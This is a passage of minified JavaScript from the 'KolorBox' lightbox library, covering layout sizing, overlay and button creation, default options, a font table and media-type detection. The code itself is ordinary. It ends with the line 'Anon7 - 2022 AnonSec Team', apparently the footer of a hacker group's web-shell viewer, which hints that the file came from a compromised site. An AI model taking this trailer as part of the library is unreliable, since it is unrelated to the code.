w+"px")),s.css("width",x+"px")):(0<r.length?(k=(m.width-l-B)/2-A/2,b.css("width",k+"px"),b.css("text-align","right"),o.css("width",w+"px"),o.css("left","0px"),r.css("width",m.width-l-B-k+"px"),r.css("left",w+"px"),r.css("text-align","right")):(k=m.width-l-y,b.css("width",k+"px"),b.css("text-align","right"),o.css("width",w+"px"),o.css("left","0px"),r.css("width",m.width-l-B-k+"px"),r.css("left",w+"px")),s.css("width",x+k+"px"))):(o.css("width",w+"px"),o.css("left","0px"),r.css("width",m.width-l-B+
"px"),r.css("left",w+"px"),s.css("width",x+"px")),s.css("right","0px"),o.css("visibility","visible"),r.css("visibility","visible"),s.css("visibility","visible")),h&&h(),S()}function Va(){if(a.close_displayed!==z){var b=document.createElement("a");b.title="Close";b.className="closeBtn";b.style.width=a.buttons_height+"px";b.style.height=a.buttons_height+"px";b.style.h=a.buttons_height+"px";var c=V(a.close_position);pa(a.close_position,a.buttons_height);c.appendChild(b);jQuery(b).unbind("click").bind("click",
function(){ya.s()})}}function Ea(){jQuery(d).find(".fullscreenBtn").removeClass("exitFullscreenBtn").addClass("enterFullscreenBtn");jQuery(d).find(".fullscreenBtn").unbind("click").bind("click",Fa);a=jQuery.extend({},Ga);sa();na();ca();n(a.animate);ta=z}function Fa(){jQuery(d).find(".fullscreenBtn").removeClass("enterFullscreenBtn").addClass("exitFullscreenBtn");jQuery(d).find(".fullscreenBtn").unbind("click").bind("click",Ea);Ga=jQuery.extend({},a);a.margin_x=0;a.margin_y=0;a.container_width=100;
a.container_height=100;a.container_width_unit="percent";a.container_height_unit="percent";a.container_auto_size=z;a.container_border_width=0;a.container_topleft_border_radius=0;a.container_topright_border_radius=0;a.container_bottomleft_border_radius=0;a.container_bottomright_border_radius=0;sa();na();a.draggable_box===g&&!ktools.Device.isTouch()&&jQuery(d.a).draggable("destroy");n(a.animate);ta=g}function Wa(){if(a.fullscreen_displayed!==z){var b=document.createElement("a");b.title="Fullscreen";
b.className="fullscreenBtn enterFullscreenBtn";b.style.width=a.buttons_height+"px";b.style.height=a.buttons_height+"px";b.style.h=a.buttons_height+"px";var c=V(a.fullscreen_position);pa(a.fullscreen_position,a.buttons_height);c.appendChild(b);jQuery(b).unbind("click").bind("click",function(){Fa()})}}function Xa(){if(!(a.navigation_displayed===z||1>=u.length)){var b=document.createElement("div");b.className="kolorBoxNavigation";b.style.height=a.buttons_height+"px";b.prev=document.createElement("a");
b.prev.title="Previous";b.prev.className="previousBtn";b.prev.style.width=a.buttons_height+"px";b.prev.style.height=a.buttons_height+"px";b.prev.style.h=a.buttons_height+"px";b.appendChild(b.prev);b.r=document.createElement("span");b.r.className="counterSpan";b.r.style.width=a.counter_size+"px";b.r.style.height=a.buttons_height+"px";b.r.style.lineHeight=a.buttons_height+"px";b.appendChild(b.r);b.next=document.createElement("a");b.next.title="Next";b.next.className="nextBtn";b.next.style.width=a.buttons_height+
"px";b.next.style.height=a.buttons_height+"px";b.next.style.h=a.buttons_height+"px";b.appendChild(b.next);var c=V(a.navigation_position),e=jQuery(c).width();jQuery(c).css("width",e+a.buttons_height+a.buttons_height+a.counter_size+"px");pa(a.navigation_position,a.buttons_height+a.buttons_height+a.counter_size);c.appendChild(b);jQuery(b.prev).unbind("click").bind("click",function(){Z();aa("previous")});jQuery(b.next).unbind("click").bind("click",function(){Z();aa("next")})}}function Ya(){if(!(a.play_displayed===
z||1>=u.length)){var b=document.createElement("a");b.title="Play / Pause";b.className="playPauseBtn playBtn";b.style.width=a.buttons_height+"px";b.style.height=a.buttons_height+"px";b.style.h=a.buttons_height+"px";var c=V(a.play_position),e=jQuery(c).width();jQuery(c).css("width",e+a.buttons_height+"px");pa(a.play_position,a.buttons_height);c.appendChild(b);jQuery(b).unbind("click").bind("click",function(){oa()})}}function pa(a,c){switch(a){case "topleft":J+=c;break;case "top":K+=c;break;case "topright":L+=
c;break;case "bottomleft":M+=c;break;case "bottom":N+=c;break;case "bottomright":O+=c}}function V(a){var c=j;switch(a){case "topleft":c=d.a.d.o;break;case "top":c=d.a.d.top;break;case "topright":c=d.a.d.p;break;case "bottomleft":c=d.a.c.j;break;case "bottom":c=d.a.c.bottom;break;case "bottomright":c=d.a.c.k;break;case "header":c=d.a.header;break;case "left":c=d.a.body.left;break;case "right":c=d.a.body.right;break;case "footer":c=d.a.t}return c}function da(b,c){var e,d;e=b-2*a.external_padding;e-=
2*a.container_border_width;d=c-2*a.external_padding;d-=2*a.container_border_width;ha===g&&(d-=a.buttons_height+a.inner_margin);ia===g&&(a.caption_displayed&&"header"==a.caption_position&&(d-=a.caption_height+a.inner_margin),a.title_displayed&&"header"==a.title_position&&(d-=a.buttons_height+a.inner_margin));ja===g&&(e-=a.caption_width+a.inner_margin);ka===g&&(e-=a.caption_width+a.inner_margin);la===g&&(a.caption_displayed&&"footer"==a.caption_position&&(d-=a.caption_height+a.inner_margin),a.title_displayed&&
"footer"==a.title_position&&(d-=a.buttons_height+a.inner_margin));ma&&(d-=a.buttons_height+a.inner_margin);return{width:e,height:d}}function Da(b,c){var d=parseInt(b)+2*a.external_padding+2*a.container_border_width,h=parseInt(c)+2*a.external_padding+2*a.container_border_width;ja===g&&(d+=a.caption_width+a.inner_margin);ka===g&&(d+=a.caption_width+a.inner_margin);ha===g&&(h+=a.buttons_height+a.inner_margin);ia===g&&(a.caption_displayed&&"header"==a.caption_position&&(h+=a.caption_height+a.inner_margin),
a.title_displayed&&"header"==a.title_position&&(h+=a.buttons_height+a.inner_margin));la===g&&(a.caption_displayed&&"footer"==a.caption_position&&(h+=a.caption_height+a.inner_margin),a.title_displayed&&"footer"==a.title_position&&(h+=a.buttons_height+a.inner_margin));ma===g&&(h+=a.buttons_height+a.inner_margin);return{width:d,height:h}}function va(){var b=a.container_width,c=a.container_height;"percent"===a.container_width_unit&&(100<b&&(b=100),b=Math.floor(x*b/100));"percent"===a.container_height_unit&&
(100<c&&(c=100),c=Math.floor(C*c/100));qa=b;ra=c}function na(){y=jQuery("#"+D).width();A=jQuery("#"+D).height();x=y-2*a.margin_x;C=A-2*a.margin_y;50>x&&(x=y);50>C&&(C=A)}var a={position:KolorBox.g.C,margin_x:50,margin_y:50,inner_margin:10,external_padding:15,draggable_box:g,draggable_image:z,show_effect:"fade",hide_effect:"fade",animate:g,animate_time:400,slideshow:5E3,slideshow_autoplay:z,overlay_displayed:g,overlay_color:"000000",overlay_alpha:0.8,container_color:"000000",container_alpha:0.8,container_topleft_border_radius:20,
container_topright_border_radius:20,container_bottomleft_border_radius:20,container_bottomright_border_radius:20,container_border_width:0,container_border_color:"ffffff",container_border_style:"solid",container_auto_size:g,container_width:100,container_height:100,container_width_unit:"percent",container_height_unit:"percent",item_border_width:0,item_border_color:"ffffff",item_border_style:"solid",title_displayed:z,title_position:"top",title_color:"666666",title_font:KolorBox.D.F.value,title_size:"14",
title_weight:"bold",title_decoration:"normal",caption_displayed:z,caption_position:"left",caption_color:"666666",caption_font:KolorBox.D.F.value,caption_size:"12",caption_weight:"normal",caption_decoration:"normal",caption_width:200,caption_height:75,navigation_size:124,counter_size:60,buttons_height:32,iframe_scrolling:"auto",iframe_default_width:560,iframe_default_height:315,force_ios_scrolling:z,iframe_devices_width:1024,iframe_devices_height:5E3,video_keep_ratio:g,video_autoplay:z,social_btn:"facebook#twitter#google#linkedin#email",
social_orientation:"horizontal",social_url:"",social_btn_size:64,thumbnails_displayed:z,thumbnails_position:"header",thumbnails_border_width:0,thumbnails_border_color:"ffffff",thumbnails_border_style:"solid",play_displayed:z,play_position:"bottomleft",navigation_arrows:z,navigation_displayed:z,navigation_position:"bottom",counter_separator_label:"/",fullscreen_displayed:z,fullscreen_position:"topleft",close_displayed:z,close_position:"topright",open_callback:z,close_callback:z,scale:1,scale_offsets:z,
zorder:0},y=0,A=0,x=0,C=0,qa=0,ra=0,ha=z,ia=z,ja=z,ka=z,la=z,ma=z,P=[],J=0,K=0,L=0,M=0,N=0,O=0,d=j,u=[],Ga=j,v=0,ea=j,Ha=z,W=z,ua=z,ta=z,Ia=z,Y=z,F=z,ya=this,Ba=j,Ja=z;this.setKolorBoxOptions=this.da=function(b){jQuery.extend(a,b)};this.getKolorBoxOptions=this.$=function(){return a};this.addKolorBoxItem=this.Y=function(a){u.push(a)};this.getKolorBoxIndex=this.Z=function(){return v};this.setReady=this.fa=function(a){Ha=a};this.isReady=this.isReady=function(){return Ha};this.isOpen=this.ba=function(){return W};
this.openKolorBox=this.B=function(b){if(ua===z){if(a.thumbnails_displayed===g&&"header"===a.thumbnails_position||a.title_displayed===g&&"header"===a.title_position||a.caption_displayed===g&&"header"===a.caption_position)ia=g;if(a.thumbnails_displayed===g&&"left"===a.thumbnails_position||a.title_displayed===g&&"left"===a.title_position||a.caption_displayed===g&&"left"===a.caption_position)ja=g;if(a.thumbnails_displayed===g&&"right"===a.thumbnails_position||a.title_displayed===g&&"right"===a.title_position||
a.caption_displayed===g&&"right"===a.caption_position)ka=g;if(a.thumbnails_displayed===g&&"footer"===a.thumbnails_position||a.title_displayed===g&&"footer"===a.title_position||a.caption_displayed===g&&"footer"===a.caption_position)la=g;var c=u.length;if(a.navigation_displayed===g&&1<c===g&&"top"===a.navigation_position.substring(0,3)||a.close_displayed===g&&"top"===a.close_position.substring(0,3)||a.fullscreen_displayed===g&&"top"===a.fullscreen_position.substring(0,3)||a.play_displayed===g&&1<c===
g&&"top"===a.play_position.substring(0,3)||a.title_displayed===g&&"top"===a.title_position.substring(0,3)||a.caption_displayed===g&&"top"===a.caption_position.substring(0,3))ha=g;if(a.navigation_displayed===g&&1<c===g&&"bottom"===a.navigation_position.substring(0,6)||a.close_displayed===g&&"bottom"===a.close_position.substring(0,6)||a.fullscreen_displayed===g&&"bottom"===a.fullscreen_position.substring(0,6)||a.play_displayed===g&&1<c===g&&"bottom"===a.play_position.substring(0,6)||a.title_displayed===
g&&"bottom"===a.title_position.substring(0,6)||a.caption_displayed===g&&"bottom"===a.caption_position.substring(0,6))ma=g;for(var e="play,navigation,fullscreen,close,title,caption".split(","),h=0,f=e.length;h<f;h++)if(a[e[h]+"_displayed"]===g&&!(("play"===e[h]||"navigation"===e[h])&&1>=c===g))P[a[e[h]+"_position"]]=g;O=N=M=L=K=J=0;Ja||(a.scale_offsets&&(a.margin_x=Math.round(a.margin_x*a.scale),a.margin_y=Math.round(a.margin_y*a.scale)),a.inner_margin=Math.round(a.inner_margin*a.scale),a.external_padding=
Math.round(a.external_padding*a.scale),"percent"!=a.container_width_unit&&(a.container_width=Math.round(a.container_width*a.scale),a.container_height=Math.round(a.container_height*a.scale)),a.container_border_width=Math.round(a.container_border_width*a.scale),a.container_topleft_border_radius=Math.round(a.container_topleft_border_radius*a.scale),a.container_topright_border_radius=Math.round(a.container_topright_border_radius*a.scale),a.container_bottomleft_border_radius=Math.round(a.container_bottomleft_border_radius*
a.scale),a.container_bottomright_border_radius=Math.round(a.container_bottomright_border_radius*a.scale),a.caption_width=Math.round(a.caption_width*a.scale),a.caption_height=Math.round(a.caption_height*a.scale),a.buttons_height=Math.round(a.buttons_height*a.scale),a.item_border_width=Math.round(a.item_border_width*a.scale),a.navigation_size=Math.round(a.navigation_size*a.scale),a.social_btn_size=Math.round(a.social_btn_size*a.scale),a.counter_size=Math.round(a.counter_size*a.scale),a.iframe_default_width=
Math.round(a.iframe_default_width*a.scale),a.iframe_default_height=Math.round(a.iframe_default_height*a.scale),a.iframe_devices_width=Math.round(a.iframe_devices_width*a.scale),a.iframe_devices_height=Math.round(a.iframe_devices_height*a.scale),a.title_size=Math.round(a.title_size*a.scale),a.caption_size=Math.round(a.caption_size*a.scale),a.thumbnails_border_width=Math.round(a.thumbnails_border_width*a.scale),Ja=g);d=document.createElement("div");d.id=X;d.className="kolorBoxContainer";d.style.zIndex=
a.zorder;d.a=document.createElement("div");d.a.className="kolorBox";d.appendChild(d.a);ha===g&&(d.a.d=document.createElement("div"),d.a.d.className="kolorBoxTopUIBar",d.a.d.style.height=a.buttons_height+"px",d.a.appendChild(d.a.d));ia===g&&(d.a.header=document.createElement("div"),d.a.header.className="kolorBoxHeader",a.animate&&(d.a.header.style.visibility="hidden"),d.a.appendChild(d.a.header));d.a.body=document.createElement("div");d.a.body.className="kolorBoxBody";d.a.appendChild(d.a.body);ja===
g&&(d.a.body.left=document.createElement("div"),d.a.body.left.className="kolorBoxBodyLeft",a.animate&&(d.a.body.left.style.visibility="hidden"),d.a.body.appendChild(d.a.body.left));d.a.body.b=document.createElement("div");d.a.body.b.className="kolorBoxBodyCenter";d.a.body.appendChild(d.a.body.b);ktools.Device.isTouch()&&(d.a.body.b.style.overflow="scroll",d.a.body.b.style["-webkit-overflow-scrolling"]="touch");d.a.body.b.u=document.createElement("p");d.a.body.b.u.className="kolorBoxBodyCenterLeftArrow";
d.a.body.b.u.style.visibility="hidden";d.a.body.b.appendChild(d.a.body.b.u);d.a.body.b.w=document.createElement("p");d.a.body.b.w.className="kolorBoxBodyCenterRightArrow";d.a.body.b.w.style.visibility="hidden";d.a.body.b.appendChild(d.a.body.b.w);ka===g&&(d.a.body.right=document.createElement("div"),d.a.body.right.className="kolorBoxBodyRight",a.animate&&(d.a.body.right.style.visibility="hidden"),d.a.body.appendChild(d.a.body.right));la===g&&(d.a.t=document.createElement("div"),d.a.t.className="kolorBoxFooter",
a.animate&&(d.a.t.style.visibility="hidden"),d.a.appendChild(d.a.t));ma===g&&(d.a.c=document.createElement("div"),d.a.c.className="kolorBoxBottomUIBar",d.a.c.style.height=a.buttons_height+"px",d.a.appendChild(d.a.c));P.topleft===g&&(d.a.d.o=document.createElement("div"),d.a.d.o.className="leftUIPlaceHolder",d.a.d.o.style.height=a.buttons_height+"px",a.animate&&(d.a.d.o.style.visibility="hidden"),d.a.d.appendChild(d.a.d.o));P.top===g&&(d.a.d.top=document.createElement("div"),d.a.d.top.className="centerUIPlaceHolder",
d.a.d.top.style.height=a.buttons_height+"px",a.animate&&(d.a.d.top.style.visibility="hidden"),d.a.d.appendChild(d.a.d.top));P.topright===g&&(d.a.d.p=document.createElement("div"),d.a.d.p.className="rightUIPlaceHolder",d.a.d.p.style.height=a.buttons_height+"px",a.animate&&(d.a.d.p.style.visibility="hidden"),d.a.d.appendChild(d.a.d.p));P.bottomleft===g&&(d.a.c.j=document.createElement("div"),d.a.c.j.className="leftUIPlaceHolder",d.a.c.j.style.height=a.buttons_height+"px",a.animate&&(d.a.c.j.style.visibility=
"hidden"),d.a.c.appendChild(d.a.c.j));P.bottom===g&&(d.a.c.bottom=document.createElement("div"),d.a.c.bottom.className="centerUIPlaceHolder",d.a.c.bottom.style.height=a.buttons_height+"px",a.animate&&(d.a.c.bottom.style.visibility="hidden"),d.a.c.appendChild(d.a.c.bottom));P.bottomright===g&&(d.a.c.k=document.createElement("div"),d.a.c.k.className="rightUIPlaceHolder",d.a.c.k.style.height=a.buttons_height+"px",a.animate&&(d.a.c.k.style.visibility="hidden"),d.a.c.appendChild(d.a.c.k));a.overlay_displayed===
g&&(d.A=document.createElement("div"),d.A.className="kolorBoxOverlay",d.appendChild(d.A));jQuery("#"+D).prepend(d);Ya();Xa();Wa();Va();if(a.title_displayed!==z){c=document.createElement("p");c.className="kolorBoxTitle";c.style.height=a.buttons_height+"px";c.style.lineHeight=a.buttons_height+"px";e=V(a.title_position);if("bottomright"===a.title_position||"topright"===a.title_position)c.style.textAlign="right";else if("bottomleft"===a.title_position||"topleft"===a.title_position)c.style.textAlign="left";
-1!=a.title_position.indexOf("right")?e.insertBefore(c,e.firstChild):e.appendChild(c)}a.caption_displayed!==z&&(c=document.createElement("p"),c.className="kolorBoxCaption",jQuery(V(a.caption_position)).append(c));na();va();xa();sa();ca();Ia||(jQuery(window).bind("resize",wa),jQuery(window).bind("orientationchange",wa),Ia=g);ua=g}c=j;e=v||0;"undefined"!==typeof b&&(c=parseInt(b),c>u.length-1&&(c=u.length-1),isNaN(c)&&(c=e));c!=j&&c!=v&&(v=c);var b=E(x,C,qa,ra,z,z),e=da(b.width,b.height),c=e.width,
e=e.height,h=jQuery(d.a),f=Da(c,e),i=2*a.external_padding+2*a.container_border_width;h.css("padding",a.external_padding+"px");h.find(".kolorBoxBodyCenter").css("width",c+"px");h.find(".kolorBoxBodyCenter").css("height",e+"px");ja===g&&(h.find(".kolorBoxBodyLeft").css("height",e+"px"),h.find(".kolorBoxBodyLeft").css("width",a.caption_width+"px"),h.find(".kolorBoxBodyLeft").css("margin","0 "+a.inner_margin+"px 0 0"));ka===g&&(h.find(".kolorBoxBodyRight").css("height",e+"px"),h.find(".kolorBoxBodyRight").css("width",
a.caption_width+"px"),h.find(".kolorBoxBodyRight").css("margin","0 0 0 "+a.inner_margin+"px"));ha===g&&h.find(".kolorBoxTopUIBar").css("margin","0 0 "+a.inner_margin+"px 0 ");ia===g&&h.find(".kolorBoxHeader").css("margin","0 0 "+a.inner_margin+"px 0 ");la===g&&h.find(".kolorBoxFooter").css("margin",a.inner_margin+"px 0 0 0");ma===g&&h.find(".kolorBoxBottomUIBar").css("margin",a.inner_margin+"px 0 0 0");h.find(".kolorBoxBody").css("height",e+"px");h.css("width",f.width-i+"px");h.css("height",f.height-
i+"px");c=za(a.position,b.width,b.height);b=c.top;c=c.left;e=jQuery(d.a);e.css("top",b+"px");e.css("left",c+"px");S();fa(v);a.slideshow_autoplay&&oa();W=g};this.closeKolorBox=this.s=function(){W&&(ta===g&&Ea(),Z(),jQuery(d.a.body.b).find(".displayedItem").hide(),jQuery(d).remove(),ua=W=z,a.close_callback&&ktools.Code.eval(a.close_callback))};this.toggleKolorBox=this.ha=function(a){W?this.s():this.B(a)};this.loadSingleArrayItem=this.ca=function(a){var c=new KolorBoxObject;c.P(a[0]);c.O(a[1]);c.K(a[2]);
c.setData(a[3]);c.init();u=[];u.push(c);v=0;W?fa(0):this.B(0)};this.hideKolorBox=this.aa=function(){jQuery(d).hide()};this.unhideKolorBox=this.Ua};KolorBox.g={C:"center",W:"topleft",V:"top",X:"topright",U:"right",S:"bottomright",Q:"bottom",R:"bottomleft",T:"left"};KolorBox.Aa={Ia:"normal",na:"bold"};
KolorBox.D={ia:{name:"Arial",value:"Arial,'DejaVu Sans','Liberation Sans',Freesans,sans-serif"},ka:{name:"Arial Narrow",value:"'Arial Narrow','Nimbus Sans L',sans-serif"},ja:{name:"Arial Black",value:"'Arial Black',Gadget,sans-serif"},oa:{name:"Bookman",value:"'Bookman Old Style',Bookman,'URW Bookman L','Palatino Linotype',serif"},qa:{name:"Century Gothic",value:"'Century Gothic',futura,'URW Gothic L',Verdana,sans-serif"},sa:{name:"Comic Sans MS",value:"'Comic Sans MS',cursive"},ta:{name:"Console",
value:"Consolas,'Lucida Console','DejaVu Sans Mono',monospace"},ua:{name:"Courier",value:"'Courier New',Courier,'Nimbus Mono L',monospace"},Ba:{name:"Georgia",value:"Constantia,Georgia,'Nimbus Roman No9 L',serif"},Ca:{name:"Helvetica",value:"Helvetica,Arial,'DejaVu Sans','Liberation Sans',Freesans,sans-serif"},Fa:{name:"Impact",value:"Impact, Haettenschweiler, 'Arial Narrow Bold', sans-serif"},Ga:{name:"Lucida Sans",value:"'Lucida Sans Unicode','Lucida Grande','Lucida Sans','DejaVu Sans Condensed',sans-serif"},
Ja:{name:"Palatino",value:"Cambria,'Palatino Linotype','Book Antiqua','URW Palladio L',serif"},Qa:{name:"Thaoma",value:"'Tahoma',sans-serif"},Ra:{name:"Times New Roman",value:"Cambria,'Times New Roman','Nimbus Roman No9 L','Freeserif',Times,serif"},Sa:{name:"Trebuchet",value:"'Trebuchet MS',sans-serif"},F:{name:"Verdana",value:"Verdana, sans-serif"}};
KolorBox.wa={ma:"blind",pa:"bounce",ra:"clip",va:"drop",xa:"explode",ya:"fade",za:"fold",Da:"highlight",Ka:"puff",La:"pulsate",Ma:"scale",Na:"shake",Oa:"size",Pa:"slide"};KolorBox.Ea={la:"auto",Ta:"yes",Ha:"no"};
KolorBoxObject=function(){var X="",D="",Q="",q="",G="",H="",ba=j,ca=z,S={width:0,height:0},R=this;this.init=function(){G=q.match(/youtube\.com\/watch/i)||q.match(/youtu\.be/i)||q.match(/youtube\.com\/embed/i)?"youtube":q.match(/wistia\.com/i)||q.match(/wistia\.net/i)?"wistia":q.match(/viddler\.com/i)?"viddler":q.match(/vimeo\.com/i)?"vimeo":q.match(/dailymotion\.com/i)||q.match(/dai\.ly/i)?"dailymotion":q.match(/eyes\.kolor\.com/i)?"koloreyes":"social"===q?"social":"embedcode"===q?"embedcode":"externalData"===
q?"externalData":q.match(/\b.mov\b/i)?"quicktime":q.match(/\b.swf\b/i)?"flash":q.match(/\biframe=true\b/i)?"iframe":q.match(/\bajax=true\b/i)?"ajax":q.match(/\bcustom=true\b/i)?"custom":"#"===q.substr(0,1)?"inline":"image";return this};this.setName=this.ea=function(n){X=n};this.setTitle=this.O=function(n){D=n};this.setCaption=this.K=function(n){Q=n};this.setValue=this.P=function(n){q=n};this.setData=this.setData=function(n){H=n};this.setType=this.ga=function(n){G=n};this.setImageObject=this.M=function(n){ba=
n};this.setImageLoaded=this.L=function(n){ca=n};this.setImageOriginalSize=this.N=function(n,q){S={width:n,height:q}};this.getName=this.getName=function(){return X};this.getTitle=this.J=function(){return D};this.getCaption=this.G=function(){return Q};this.getValue=this.e=function(){return q};this.getData=this.getData=function(){return H};this.getType=this.f=function(){return G};this.getImageObject=this.I=function(){return ba};this.getImageLoaded=this.H=function(){return ca};this.getImageOriginalSize=
this.z=function(){return S};this.preloadImage=this.v=function(){var n=new Image;n.onload=function(q){ktools.DOM.preventDefault(q);R.L(g);R.N(n.width,n.height)};n.src=q;R.M(n)}};})();

Anon7 - 2022
AnonSec Team